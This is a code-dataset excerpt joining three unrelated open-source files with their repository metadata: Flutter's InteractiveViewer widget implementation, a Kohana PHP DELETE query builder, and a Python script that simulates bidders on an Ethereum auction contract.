scale. /// /// The scale will be clamped between this and [minScale] inclusively. /// /// Defaults to 2.5. /// /// Cannot be null, and must be greater than zero and greater than minScale. final double maxScale; /// The minimum allowed scale. /// /// The scale will be clamped between this and [maxScale] inclusively. /// /// Defaults to 0.8. /// /// Cannot be null, and must be a finite number greater than zero and less /// than maxScale. final double minScale; /// Called when the user ends a pan or scale gesture on the widget. /// /// At the time this is called, the [TransformationController] will have /// already been updated to reflect the change caused by the interaction. /// /// {@template flutter.widgets.interactiveViewer.onInteraction} /// Will be called even if the interaction is disabled with /// [panEnabled] or [scaleEnabled]. /// /// A [GestureDetector] wrapping the InteractiveViewer will not respond to /// [GestureDetector.onScaleStart], [GestureDetector.onScaleUpdate], and /// [GestureDetector.onScaleEnd]. Use [onInteractionStart], /// [onInteractionUpdate], and [onInteractionEnd] to respond to those /// gestures. /// {@endtemplate} /// /// See also: /// /// * [onInteractionStart], which handles the start of the same interaction. /// * [onInteractionUpdate], which handles an update to the same interaction. final GestureScaleEndCallback? onInteractionEnd; /// Called when the user begins a pan or scale gesture on the widget. /// /// At the time this is called, the [TransformationController] will not have /// changed due to this interaction. /// /// {@macro flutter.widgets.interactiveViewer.onInteraction} /// /// The coordinates provided in the details' `focalPoint` and /// `localFocalPoint` are normal Flutter event coordinates, not /// InteractiveViewer scene coordinates. See /// [TransformationController.toScene] for how to convert these coordinates to /// scene coordinates relative to the child. /// /// See also: /// /// * [onInteractionUpdate], which handles an update to the same interaction. /// * [onInteractionEnd], which handles the end of the same interaction. final GestureScaleStartCallback? onInteractionStart; /// Called when the user updates a pan or scale gesture on the widget. /// /// At the time this is called, the [TransformationController] will have /// already been updated to reflect the change caused by the interaction. /// /// {@macro flutter.widgets.interactiveViewer.onInteraction} /// /// The coordinates provided in the details' `focalPoint` and /// `localFocalPoint` are normal Flutter event coordinates, not /// InteractiveViewer scene coordinates. See /// [TransformationController.toScene] for how to convert these coordinates to /// scene coordinates relative to the child. /// /// See also: /// /// * [onInteractionStart], which handles the start of the same interaction. /// * [onInteractionEnd], which handles the end of the same interaction. final GestureScaleUpdateCallback? onInteractionUpdate; /// A [TransformationController] for the transformation performed on the /// child. /// /// Whenever the child is transformed, the [Matrix4] value is updated and all /// listeners are notified. If the value is set, InteractiveViewer will update /// to respect the new value. /// /// {@tool dartpad --template=stateful_widget_material_ticker} /// This example shows how transformationController can be used to animate the /// transformation back to its starting position. /// /// ```dart /// final TransformationController _transformationController = TransformationController(); /// Animation<Matrix4> _animationReset; /// AnimationController _controllerReset; /// /// void _onAnimateReset() { /// _transformationController.value = _animationReset.value; /// if (!_controllerReset.isAnimating) { /// _animationReset?.removeListener(_onAnimateReset); /// _animationReset = null; /// _controllerReset.reset(); /// } /// } /// /// void _animateResetInitialize() { /// _controllerReset.reset(); /// _animationReset = Matrix4Tween( /// begin: _transformationController.value, /// end: Matrix4.identity(), /// ).animate(_controllerReset); /// _animationReset.addListener(_onAnimateReset); /// _controllerReset.forward(); /// } /// /// // Stop a running reset to home transform animation. /// void _animateResetStop() { /// _controllerReset.stop(); /// _animationReset?.removeListener(_onAnimateReset); /// _animationReset = null; /// _controllerReset.reset(); /// } /// /// void _onInteractionStart(ScaleStartDetails details) { /// // If the user tries to cause a transformation while the reset animation is /// // running, cancel the reset animation. /// if (_controllerReset.status == AnimationStatus.forward) { /// _animateResetStop(); /// } /// } /// /// @override /// void initState() { /// super.initState(); /// _controllerReset = AnimationController( /// vsync: this, /// duration: const Duration(milliseconds: 400), /// ); /// } /// /// @override /// void dispose() { /// _controllerReset.dispose(); /// super.dispose(); /// } /// /// @override /// Widget build(BuildContext context) { /// return Scaffold( /// backgroundColor: Theme.of(context).colorScheme.primary, /// appBar: AppBar( /// automaticallyImplyLeading: false, /// title: const Text('Controller demo'), /// ), /// body: Center( /// child: InteractiveViewer( /// boundaryMargin: EdgeInsets.all(double.infinity), /// transformationController: _transformationController, /// minScale: 0.1, /// maxScale: 1.0, /// onInteractionStart: _onInteractionStart, /// child: Container( /// decoration: BoxDecoration( /// gradient: LinearGradient( /// begin: Alignment.topCenter, /// end: Alignment.bottomCenter, /// colors: <Color>[Colors.orange, Colors.red], /// stops: <double>[0.0, 1.0], /// ), /// ), /// ), /// ), /// ), /// persistentFooterButtons: [ /// IconButton( /// onPressed: _animateResetInitialize, /// tooltip: 'Reset', /// color: Theme.of(context).colorScheme.surface, /// icon: const Icon(Icons.replay), /// ), /// ], /// ); /// } /// ``` /// {@end-tool} /// /// See also: /// /// * [ValueNotifier], the parent class of TransformationController. /// * [TextEditingController] for an example of another similar pattern. final TransformationController? transformationController; /// Returns the closest point to the given point on the given line segment. @visibleForTesting static Vector3 getNearestPointOnLine(Vector3 point, Vector3 l1, Vector3 l2) { final double lengthSquared = math.pow(l2.x - l1.x, 2.0).toDouble() + math.pow(l2.y - l1.y, 2.0).toDouble(); // In this case, l1 == l2. if (lengthSquared == 0) { return l1; } // Calculate how far down the line segment the closest point is and return // the point. final Vector3 l1P = point - l1; final Vector3 l1L2 = l2 - l1; final double fraction = (l1P.dot(l1L2) / lengthSquared).clamp(0.0, 1.0).toDouble(); return l1 + l1L2 * fraction; } /// Given a quad, return its axis aligned bounding box. @visibleForTesting static Quad getAxisAlignedBoundingBox(Quad quad) { final double minX = math.min( quad.point0.x, math.min( quad.point1.x, math.min( quad.point2.x, quad.point3.x, ), ), ); final double minY = math.min( quad.point0.y, math.min( quad.point1.y, math.min( quad.point2.y, quad.point3.y, ), ), ); final double maxX = math.max( quad.point0.x, math.max( quad.point1.x, math.max( quad.point2.x, quad.point3.x, ), ), ); final double maxY = math.max( quad.point0.y, math.max( quad.point1.y, math.max( quad.point2.y, quad.point3.y, ), ), ); return Quad.points( Vector3(minX, minY, 0), Vector3(maxX, minY, 0), Vector3(maxX, maxY, 0), Vector3(minX, maxY, 0), ); } /// Returns true iff the point is inside the rectangle given by the Quad, /// inclusively. /// Algorithm from https://math.stackexchange.com/a/190373. @visibleForTesting static bool pointIsInside(Vector3 point, Quad quad) { final Vector3 aM = point - quad.point0; final Vector3 aB = quad.point1 - quad.point0; final Vector3 aD = quad.point3 - quad.point0; final double aMAB = aM.dot(aB); final double aBAB = aB.dot(aB); final double aMAD = aM.dot(aD); final double aDAD = aD.dot(aD); return 0 <= aMAB && aMAB <= aBAB && 0 <= aMAD && aMAD <= aDAD; } /// Get the point inside (inclusively) the given Quad that is nearest to the /// given Vector3. @visibleForTesting static Vector3 getNearestPointInside(Vector3 point, Quad quad) { // If the point is inside the axis aligned bounding box, then it's ok where // it is. if (pointIsInside(point, quad)) { return point; } // Otherwise, return the nearest point on the quad. final List<Vector3> closestPoints = <Vector3>[ InteractiveViewer.getNearestPointOnLine(point, quad.point0, quad.point1), InteractiveViewer.getNearestPointOnLine(point, quad.point1, quad.point2), InteractiveViewer.getNearestPointOnLine(point, quad.point2, quad.point3), InteractiveViewer.getNearestPointOnLine(point, quad.point3, quad.point0), ]; double minDistance = double.infinity; late Vector3 closestOverall; for (final Vector3 closePoint in closestPoints) { final double distance = math.sqrt( math.pow(point.x - closePoint.x, 2) + math.pow(point.y - closePoint.y, 2), ); if (distance < minDistance) { minDistance = distance; closestOverall = closePoint; } } return closestOverall; } @override _InteractiveViewerState createState() => _InteractiveViewerState(); } class _InteractiveViewerState extends State<InteractiveViewer> with TickerProviderStateMixin { TransformationController? _transformationController; final GlobalKey _childKey = GlobalKey(); final GlobalKey _parentKey = GlobalKey(); Animation<Offset>? _animation; late AnimationController _controller; Axis? _panAxis; // Used with alignPanAxis. Offset? _referenceFocalPoint; // Point where the current gesture began. double? _scaleStart; // Scale value at start of scaling gesture. double? _rotationStart = 0.0; // Rotation at start of rotation gesture. double _currentRotation = 0.0; // Rotation of _transformationController.value. _GestureType? _gestureType; // TODO(justinmc): Add rotateEnabled parameter to the widget and remove this // hardcoded value when the rotation feature is implemented. // https://github.com/flutter/flutter/issues/57698 final bool _rotateEnabled = false; // Used as the coefficient of friction in the inertial translation animation. // This value was eyeballed to give a feel similar to Google Photos. static const double _kDrag = 0.0000135; // The _boundaryRect is calculated by adding the boundaryMargin to the size of // the child. Rect get _boundaryRect { assert(_childKey.currentContext != null); assert(!widget.boundaryMargin.left.isNaN); assert(!widget.boundaryMargin.right.isNaN); assert(!widget.boundaryMargin.top.isNaN); assert(!widget.boundaryMargin.bottom.isNaN); final RenderBox childRenderBox = _childKey.currentContext!.findRenderObject()! as RenderBox; final Size childSize = childRenderBox.size; final Rect boundaryRect = widget.boundaryMargin.inflateRect(Offset.zero & childSize); // Boundaries that are partially infinite are not allowed because Matrix4's // rotation and translation methods don't handle infinites well. assert(boundaryRect.isFinite || (boundaryRect.left.isInfinite && boundaryRect.top.isInfinite && boundaryRect.right.isInfinite && boundaryRect.bottom.isInfinite), 'boundaryRect must either be infinite in all directions or finite in all directions.'); return boundaryRect; } // The Rect representing the child's parent. Rect get _viewport { assert(_parentKey.currentContext != null); final RenderBox parentRenderBox = _parentKey.currentContext!.findRenderObject()! as RenderBox; return Offset.zero & parentRenderBox.size; } // Return a new matrix representing the given matrix after applying the given // translation. Matrix4 _matrixTranslate(Matrix4 matrix, Offset translation) { if (translation == Offset.zero) { return matrix.clone(); } final Offset alignedTranslation = widget.alignPanAxis && _panAxis != null ? _alignAxis(translation, _panAxis!) : translation; final Matrix4 nextMatrix = matrix.clone()..translate( alignedTranslation.dx, alignedTranslation.dy, ); // Transform the viewport to determine where its four corners will be after // the child has been transformed. final Quad nextViewport = _transformViewport(nextMatrix, _viewport); // If the boundaries are infinite, then no need to check if the translation // fits within them. if (_boundaryRect.isInfinite) { return nextMatrix; } // Expand the boundaries with rotation. This prevents the problem where a // mismatch in orientation between the viewport and boundaries effectively // limits translation. With this approach, all points that are visible with // no rotation are visible after rotation. final Quad boundariesAabbQuad = _getAxisAlignedBoundingBoxWithRotation( _boundaryRect, _currentRotation, ); // If the given translation fits completely within the boundaries, allow it. final Offset offendingDistance = _exceedsBy(boundariesAabbQuad, nextViewport); if (offendingDistance == Offset.zero) { return nextMatrix; } // Desired translation goes out of bounds, so translate to the nearest // in-bounds point instead. final Offset nextTotalTranslation = _getMatrixTranslation(nextMatrix); final double currentScale = matrix.getMaxScaleOnAxis(); final Offset correctedTotalTranslation = Offset( nextTotalTranslation.dx - offendingDistance.dx * currentScale, nextTotalTranslation.dy - offendingDistance.dy * currentScale, ); // TODO(justinmc): This needs some work to handle rotation properly. The // idea is that the boundaries are axis aligned (boundariesAabbQuad), but // calculating the translation to put the viewport inside that Quad is more // complicated than this when rotated. // https://github.com/flutter/flutter/issues/57698 final Matrix4 correctedMatrix = matrix.clone()..setTranslation(Vector3( correctedTotalTranslation.dx, correctedTotalTranslation.dy, 0.0, )); // Double check that the corrected translation fits. final Quad correctedViewport = _transformViewport(correctedMatrix, _viewport); final Offset offendingCorrectedDistance = _exceedsBy(boundariesAabbQuad, correctedViewport); if (offendingCorrectedDistance == Offset.zero) { return correctedMatrix; } // If the corrected translation doesn't fit in either direction, don't allow // any translation at all. This happens when the viewport is larger than the // entire boundary. if (offendingCorrectedDistance.dx != 0.0 && offendingCorrectedDistance.dy != 0.0) { return matrix.clone(); } // Otherwise, allow translation in only the direction that fits. This // happens when the viewport is larger than the boundary in one direction. final Offset unidirectionalCorrectedTotalTranslation = Offset( offendingCorrectedDistance.dx == 0.0 ? correctedTotalTranslation.dx : 0.0, offendingCorrectedDistance.dy == 0.0 ? correctedTotalTranslation.dy : 0.0, ); return matrix.clone()..setTranslation(Vector3( unidirectionalCorrectedTotalTranslation.dx, unidirectionalCorrectedTotalTranslation.dy, 0.0, )); } // Return a new matrix representing the given matrix after applying the given // scale. Matrix4 _matrixScale(Matrix4 matrix, double scale) { if (scale == 1.0) { return matrix.clone(); } assert(scale != 0.0); // Don't allow a scale that results in an overall scale beyond min/max // scale. final double currentScale = _transformationController!.value.getMaxScaleOnAxis(); final double totalScale = math.max( currentScale * scale, // Ensure that the scale cannot make the child so big that it can't fit // inside the boundaries (in either direction). math.max( _viewport.width / _boundaryRect.width, _viewport.height / _boundaryRect.height, ), ); final double clampedTotalScale = totalScale.clamp( widget.minScale, widget.maxScale, ); final double clampedScale = clampedTotalScale / currentScale; return matrix.clone()..scale(clampedScale); } // Return a new matrix representing the given matrix after applying the given // rotation. Matrix4 _matrixRotate(Matrix4 matrix, double rotation, Offset focalPoint) { if (rotation == 0) { return matrix.clone(); } final Offset focalPointScene = _transformationController!.toScene( focalPoint, ); return matrix .clone() ..translate(focalPointScene.dx, focalPointScene.dy) ..rotateZ(-rotation) ..translate(-focalPointScene.dx, -focalPointScene.dy); } // Returns true iff the given _GestureType is enabled. bool _gestureIsSupported(_GestureType? gestureType) { switch (gestureType) { case _GestureType.rotate: return _rotateEnabled; case _GestureType.scale: return widget.scaleEnabled; case _GestureType.pan: case null: return widget.panEnabled; } } // Decide which type of gesture this is by comparing the amount of scale // and rotation in the gesture, if any. Scale starts at 1 and rotation // starts at 0. Pan will have no scale and no rotation because it uses only one // finger. _GestureType _getGestureType(ScaleUpdateDetails details) { final double scale = !widget.scaleEnabled ? 1.0 : details.scale; final double rotation = !_rotateEnabled ? 0.0 : details.rotation; if ((scale - 1).abs() > rotation.abs()) { return _GestureType.scale; } else if (rotation != 0.0) { return _GestureType.rotate; } else { return _GestureType.pan; } } // Handle the start of a gesture. All of pan, scale, and rotate are handled // with GestureDetector's scale gesture. void _onScaleStart(ScaleStartDetails details) { widget.onInteractionStart?.call(details); if (_controller.isAnimating) { _controller.stop(); _controller.reset(); _animation?.removeListener(_onAnimate); _animation = null; } _gestureType = null; _panAxis = null; _scaleStart = _transformationController!.value.getMaxScaleOnAxis(); _referenceFocalPoint = _transformationController!.toScene( details.localFocalPoint, ); _rotationStart = _currentRotation; } // Handle an update to an ongoing gesture. All of pan, scale, and rotate are // handled with GestureDetector's scale gesture. void _onScaleUpdate(ScaleUpdateDetails details) { final double scale = _transformationController!.value.getMaxScaleOnAxis(); final Offset focalPointScene = _transformationController!.toScene( details.localFocalPoint, ); if (_gestureType == _GestureType.pan) { // When a gesture first starts, it sometimes has no change in scale and // rotation despite being a two-finger gesture. Here the gesture is // allowed to be reinterpreted as its correct type after originally // being marked as a pan. _gestureType = _getGestureType(details); } else { _gestureType ??= _getGestureType(details); } if (!_gestureIsSupported(_gestureType)) { return; } switch (_gestureType!) { case _GestureType.scale: assert(_scaleStart != null); // details.scale gives us the amount to change the scale as of the // start of this gesture, so calculate the amount to scale as of the // previous call to _onScaleUpdate. final double desiredScale = _scaleStart! * details.scale; final double scaleChange = desiredScale / scale; _transformationController!.value = _matrixScale( _transformationController!.value, scaleChange, ); // While scaling, translate such that the user's two fingers stay on // the same places in the scene. That means that the focal point of // the scale should be on the same place in the scene before and after // the scale. final Offset focalPointSceneScaled = _transformationController!.toScene( details.localFocalPoint, ); _transformationController!.value = _matrixTranslate( _transformationController!.value, focalPointSceneScaled - _referenceFocalPoint!, ); // details.localFocalPoint should now be at the same location as the // original _referenceFocalPoint point. If it's not, that's because // the translate came in contact with a boundary. In that case, update // _referenceFocalPoint so subsequent updates happen in relation to // the new effective focal point. final Offset focalPointSceneCheck = _transformationController!.toScene( details.localFocalPoint, ); if (_round(_referenceFocalPoint!) != _round(focalPointSceneCheck)) { _referenceFocalPoint = focalPointSceneCheck; } break; case _GestureType.rotate: if (details.rotation == 0.0) { return; } final double desiredRotation = _rotationStart! + details.rotation; _transformationController!.value = _matrixRotate( _transformationController!.value, _currentRotation - desiredRotation, details.localFocalPoint, ); _currentRotation = desiredRotation; break; case _GestureType.pan: assert(_referenceFocalPoint != null); // details may have a change in scale here when scaleEnabled is false. // In an effort to keep the behavior similar whether or not scaleEnabled // is true, these gestures are thrown away. if (details.scale != 1.0) { return; } _panAxis ??= _getPanAxis(_referenceFocalPoint!, focalPointScene); // Translate so that the same point in the scene is underneath the // focal point before and after the movement. final Offset translationChange = focalPointScene - _referenceFocalPoint!; _transformationController!.value = _matrixTranslate( _transformationController!.value, translationChange, ); _referenceFocalPoint = _transformationController!.toScene( details.localFocalPoint, ); break; } widget.onInteractionUpdate?.call(ScaleUpdateDetails( focalPoint: details.focalPoint, localFocalPoint: details.localFocalPoint, scale: details.scale, rotation: details.rotation, )); } // Handle the end of a gesture of _GestureType. All of pan, scale, and rotate // are handled with GestureDetector's scale gesture. void _onScaleEnd(ScaleEndDetails details) { widget.onInteractionEnd?.call(details); _scaleStart = null; _rotationStart = null; _referenceFocalPoint = null; _animation?.removeListener(_onAnimate); _controller.reset(); if (!_gestureIsSupported(_gestureType)) { _panAxis = null; return; } // If the scale ended with enough velocity, animate inertial movement. if (_gestureType != _GestureType.pan || details.velocity.pixelsPerSecond.distance < kMinFlingVelocity) { _panAxis = null; return; } final Vector3 translationVector = _transformationController!.value.getTranslation(); final Offset translation = Offset(translationVector.x, translationVector.y); final FrictionSimulation frictionSimulationX = FrictionSimulation( _kDrag, translation.dx, details.velocity.pixelsPerSecond.dx, ); final FrictionSimulation frictionSimulationY = FrictionSimulation( _kDrag, translation.dy, details.velocity.pixelsPerSecond.dy, ); final double tFinal = _getFinalTime( details.velocity.pixelsPerSecond.distance, _kDrag, ); _animation = Tween<Offset>( begin: translation, end: Offset(frictionSimulationX.finalX, frictionSimulationY.finalX), ).animate(CurvedAnimation( parent: _controller, curve: Curves.decelerate, )); _controller.duration = Duration(milliseconds: (tFinal * 1000).round()); _animation!.addListener(_onAnimate); _controller.forward(); } // Handle mousewheel scroll events. void _receivedPointerSignal(PointerSignalEvent event) { if (event is PointerScrollEvent) { widget.onInteractionStart?.call( ScaleStartDetails( focalPoint: event.position, localFocalPoint: event.localPosition, ), ); if (!_gestureIsSupported(_GestureType.scale)) { widget.onInteractionEnd?.call(ScaleEndDetails()); return; } final RenderBox childRenderBox = _childKey.currentContext!.findRenderObject()! as RenderBox; final Size childSize = childRenderBox.size; final double scaleChange = 1.0 - event.scrollDelta.dy / childSize.height; if (scaleChange == 0.0) { return; } final Offset focalPointScene = _transformationController!.toScene( event.localPosition, ); _transformationController!.value = _matrixScale( _transformationController!.value, scaleChange, ); // After scaling, translate such that the event's position is at the // same scene point before and after the scale. final Offset focalPointSceneScaled = _transformationController!.toScene( event.localPosition, ); _transformationController!.value = _matrixTranslate( _transformationController!.value, focalPointSceneScaled - focalPointScene, ); widget.onInteractionUpdate?.call(ScaleUpdateDetails( focalPoint: event.position, localFocalPoint: event.localPosition, rotation: 0.0, scale: scaleChange, horizontalScale: 1.0, verticalScale: 1.0, )); widget.onInteractionEnd?.call(ScaleEndDetails()); } } // Handle inertia drag animation. void _onAnimate() { if (!_controller.isAnimating) { _panAxis = null; _animation?.removeListener(_onAnimate); _animation = null; _controller.reset(); return; } // Translate such that the resulting translation is _animation.value. final Vector3 translationVector = _transformationController!.value.getTranslation(); final Offset translation = Offset(translationVector.x, translationVector.y); final Offset translationScene = _transformationController!.toScene( translation, ); final Offset animationScene = _transformationController!.toScene( _animation!.value, ); final Offset translationChangeScene = animationScene - translationScene; _transformationController!.value = _matrixTranslate( _transformationController!.value, translationChangeScene, ); } void _onTransformationControllerChange() { // A change to the TransformationController's value is a change to the // state. setState(() {}); } @override void initState() { super.initState(); _transformationController = widget.transformationController ?? TransformationController(); _transformationController!.addListener(_onTransformationControllerChange); _controller = AnimationController( vsync: this, ); } @override void didUpdateWidget(InteractiveViewer oldWidget) { super.didUpdateWidget(oldWidget); // Handle all cases of needing to dispose and initialize // transformationControllers. if (oldWidget.transformationController == null) { if (widget.transformationController != null) { _transformationController!.removeListener(_onTransformationControllerChange); _transformationController!.dispose(); _transformationController = widget.transformationController; _transformationController!.addListener(_onTransformationControllerChange); } } else { if (widget.transformationController == null) { _transformationController!.removeListener(_onTransformationControllerChange); _transformationController = TransformationController(); _transformationController!.addListener(_onTransformationControllerChange); } else if (widget.transformationController != oldWidget.transformationController) { _transformationController!.removeListener(_onTransformationControllerChange); _transformationController = widget.transformationController; _transformationController!.addListener(_onTransformationControllerChange); } } } @override void dispose() { _controller.dispose(); _transformationController!.removeListener(_onTransformationControllerChange); if (widget.transformationController == null) { _transformationController!.dispose(); } super.dispose(); } @override Widget build(BuildContext context) { Widget child = Transform( transform: _transformationController!.value, child: KeyedSubtree( key: _childKey, child: widget.child, ), ); if (!widget.constrained) { child = ClipRect( child: OverflowBox( alignment: Alignment.topLeft, minWidth: 0.0, minHeight: 0.0, maxWidth: double.infinity, maxHeight: double.infinity, child: child, ), ); } // A GestureDetector allows the detection of panning and zooming gestures on // the child. return Listener( key: _parentKey, onPointerSignal: _receivedPointerSignal, child: GestureDetector( behavior: HitTestBehavior.opaque, // Necessary when panning off screen. onScaleEnd: _onScaleEnd, onScaleStart: _onScaleStart, onScaleUpdate: _onScaleUpdate, child: child, ), ); } } /// A thin wrapper on [ValueNotifier] whose value is a [Matrix4] representing a /// transformation. /// /// The [value] defaults to the identity matrix, which corresponds to no /// transformation. /// /// See also: /// /// * [InteractiveViewer.transformationController] for detailed documentation /// on how to use TransformationController with [InteractiveViewer]. class TransformationController extends ValueNotifier<Matrix4> { /// Create an instance of [TransformationController]. /// /// The [value] defaults to the identity matrix, which corresponds to no /// transformation. TransformationController([Matrix4? value]) : super(value ?? Matrix4.identity()); /// Return the scene point at the given viewport point. /// /// A viewport point is relative to the parent while a scene point is relative /// to the child, regardless of transformation. Calling toScene with a /// viewport point essentially returns the scene coordinate that lies /// underneath the viewport point given the transform. /// /// The viewport transforms as the inverse of the child (i.e. moving the child /// left is equivalent to moving the viewport right). /// /// This method is often useful when determining where an event on the parent /// occurs on the child. This example shows how to determine where a tap on /// the parent occurred on the child. /// /// ```dart /// @override /// void build(BuildContext context) { /// return GestureDetector( /// onTapUp: (TapUpDetails details) { /// _childWasTappedAt = _transformationController.toScene( /// details.localPosition, /// ); /// }, /// child: InteractiveViewer( /// transformationController: _transformationController, /// child: child, /// ), /// ); /// } /// ``` Offset toScene(Offset viewportPoint) { // On viewportPoint, perform the inverse transformation of the scene to get // where the point would be in the scene before the transformation. final Matrix4 inverseMatrix = Matrix4.inverted(value); final Vector3 untransformed = inverseMatrix.transform3(Vector3( viewportPoint.dx, viewportPoint.dy, 0, )); return Offset(untransformed.x, untransformed.y); } } // A classification of relevant user gestures. Each contiguous user gesture is // represented by exactly one _GestureType. enum _GestureType { pan, scale, rotate, } // Given a velocity and drag, calculate the time at which motion will come to // a stop, within the margin of effectivelyMotionless. double _getFinalTime(double velocity, double drag) { const double effectivelyMotionless = 10.0; return math.log(effectivelyMotionless / velocity) / math.log(drag / 100); } // Return the translation from the given Matrix4 as an Offset. Offset _getMatrixTranslation(Matrix4 matrix) { final Vector3 nextTranslation = matrix.getTranslation(); return Offset(nextTranslation.x, nextTranslation.y); } // Transform the four corners of the viewport by the inverse of the given // matrix. This gives the viewport after the child has been transformed by the // given matrix. The viewport transforms as the inverse of the child (i.e. // moving the child left is equivalent to moving the viewport right). Quad _transformViewport(Matrix4 matrix, Rect viewport) { final Matrix4 inverseMatrix = matrix.clone()..invert(); return Quad.points( inverseMatrix.transform3(Vector3( viewport.topLeft.dx, viewport.topLeft.dy, 0.0, )), inverseMatrix.transform3(Vector3( viewport.topRight.dx, viewport.topRight.dy, 0.0, )), inverseMatrix.transform3(Vector3( viewport.bottomRight.dx, viewport.bottomRight.dy, 0.0, )), inverseMatrix.transform3(Vector3( viewport.bottomLeft.dx, viewport.bottomLeft.dy, 0.0, )), ); } // Find the axis aligned bounding box for the rect rotated about its center by // the given amount. Quad _getAxisAlignedBoundingBoxWithRotation(Rect rect, double rotation) { final Matrix4 rotationMatrix = Matrix4.identity() ..translate(rect.size.width / 2, rect.size.height / 2) ..rotateZ(rotation) ..translate(-rect.size.width / 2, -rect.size.height / 2); final Quad boundariesRotated = Quad.points( rotationMatrix.transform3(Vector3(rect.left, rect.top, 0.0)), rotationMatrix.transform3(Vector3(rect.right, rect.top, 0.0)), rotationMatrix.transform3(Vector3(rect.right, rect.bottom, 0.0)), rotationMatrix.transform3(Vector3(rect.left, rect.bottom, 0.0)), ); return InteractiveViewer.getAxisAlignedBoundingBox(boundariesRotated); } // Return the amount that viewport lies outside of boundary. If the viewport // is completely contained within the boundary (inclusively), then returns // Offset.zero. Offset _exceedsBy(Quad boundary, Quad viewport) { final List<Vector3> viewportPoints = <Vector3>[ viewport.point0, viewport.point1, viewport.point2, viewport.point3, ]; Offset largestExcess = Offset.zero; for (final Vector3 point in viewportPoints) { final Vector3 pointInside = InteractiveViewer.getNearestPointInside(point, boundary); final Offset excess = Offset( pointInside.x - point.x, pointInside.y - point.y, ); if (excess.dx.abs() > largestExcess.dx.abs()) { largestExcess = Offset(excess.dx, largestExcess.dy); } if (excess.dy.abs() > largestExcess.dy.abs()) { largestExcess = Offset(largestExcess.dx, excess.dy); } } return _round(largestExcess); } // Round the output values. This works around a precision problem where // values that should have been zero were given as within 10^-10 of zero. Offset _round(Offset offset) { return Offset( double.parse(offset.dx.toStringAsFixed(9)), double.parse(offset.dy.toStringAsFixed(9)), ); } // Align the given offset to the given axis by allowing movement only in the // axis direction. Offset _alignAxis(Offset offset, Axis axis) { switch (axis) { case Axis.horizontal: return Offset(offset.dx, 0.0); case Axis.vertical: return Offset(0.0, offset.dy); } } // Given two points, return the axis where the distance between the points is // greatest. If they are equal, return null. Axis? _getPanAxis(Offset point1, Offset point2) { if (point1 == point2) { return null; } final double x = point2.dx - point1.dx; final double y = point2.dy - point1.dy; return x.abs() > y.abs() ? Axis.horizontal : Axis.vertical; }
cbracken/flutter
packages/flutter/lib/src/widgets/interactive_viewer.dart
Dart
bsd-3-clause
45,149
<?php /** * Database query builder for DELETE statements. See [Query Builder](/database/query/builder) for usage and examples. * * @package Kohana/Database * @category Query * @author Kohana Team * @copyright (c) 2008-2009 Kohana Team * @license http://kohanaphp.com/license */ class Database_Query_Builder_Delete extends Database_Query_Builder_Where { // DELETE FROM ... protected $_table; /** * Set the table for a delete. * * @param mixed table name or array($table, $alias) or object * @return void */ public function __construct($table = NULL) { if ($table) { // Set the inital table name $this->_table = $table; } // Start the query with no SQL return parent::__construct(Database::DELETE, ''); } /** * Sets the table to delete from. * * @param mixed table name or array($table, $alias) or object * @return $this */ public function table($table) { $this->_table = $table; return $this; } /** * Compile the SQL query and return it. * * @param object Database instance * @return string */ public function compile(Database $db) { // Start a deletion query $query = 'DELETE FROM '.$db->quote_table($this->_table); if ( ! empty($this->_where)) { // Add deletion conditions $query .= ' WHERE '.$this->_compile_conditions($db, $this->_where); } if ( ! empty($this->_order_by)) { // Add sorting $query .= ' '.$this->_compile_order_by($db, $this->_order_by); } if ($this->_limit !== NULL) { // Add limiting $query .= ' LIMIT '.$this->_limit; } $this->_sql = $query; return parent::compile($db); } public function reset() { $this->_table = NULL; $this->_where = array(); $this->_parameters = array(); $this->_sql = NULL; return $this; } } // End Database_Query_Builder_Delete
LinzardMac/CupCart
cart-includes/database/query/builder/delete.php
PHP
bsd-3-clause
1,935
import logging import random from deploy.utils import ( passphrase, amount_format, check_succesful_tx ) import gevent log = logging.getLogger(__name__) class Bidder: approx_bid_txn_cost = 40000 def __init__(self, web3, auction_contract, address): self.web3 = web3 self.address = address self.auction_contract = auction_contract self.bid_interval_seconds = 5 self.max_bid_ceiling = 0.6 self.max_bid_price = 1000000 self.min_bid_price = 1000 self.last_missing_funds = 1e100 self.max_bids = None self.max_retries = 10 self.retries = 0 def bid(self): missing_funds = self.auction_contract.call().missingFundsToEndAuction() if missing_funds == 0: return if missing_funds <= self.last_missing_funds: log.warning('missing funds <= last missing: %d < %d' % (missing_funds, self.last_missing_funds)) self.last_missing_funds = missing_funds balance = self.web3.eth.getBalance(self.address) unlocked = self.web3.personal.unlockAccount(self.address, passphrase) assert unlocked is True amount = self.get_random_bid(missing_funds, balance) log.info('BID bidder=%s, missing_funds=%.2e, balance=%d, amount=%s' % (self.address, missing_funds, balance, amount_format(self.web3, amount))) try: txhash = self.auction_contract.transact({'from': self.address, "value": amount}).bid() receipt, success = check_succesful_tx(self.web3, txhash) except ValueError as e: log.warn(str(e)) if self.retries >= self.max_retries: raise e self.retries += 1 def get_random_bid(self, missing_funds, balance): # cap missing funds to percentage defined by max_bid_ceiling max_bid = int(missing_funds * self.max_bid_ceiling) amount = int(max(0, min(balance - self.approx_bid_txn_cost, max_bid))) # cap to max bid price amount = min(amount, self.max_bid_price) # randomize how much will be used amount = int(amount * random.random()) # make sure we bid at least min_bid_price amount = max(amount, min(self.min_bid_price, missing_funds)) if amount == 0: amount = 1 return amount def run(self): log.info('bidder=%s started' % (self.address)) balance = self.web3.eth.getBalance(self.address) bids_total = 0 while balance > 0: bids_total += 1 self.bid() missing_funds = self.auction_contract.call().missingFundsToEndAuction() if missing_funds == 0: return if isinstance(self.max_bids, int) and bids_total >= self.max_bids: return balance = self.web3.eth.getBalance(self.address) gevent.sleep(random.random() * self.bid_interval_seconds) log.info('auction ended for {bidder}: not enough minerals'.format(bidder=self.address))
raiden-network/raiden-token
deploy/bidder.py
Python
bsd-3-clause
3,094
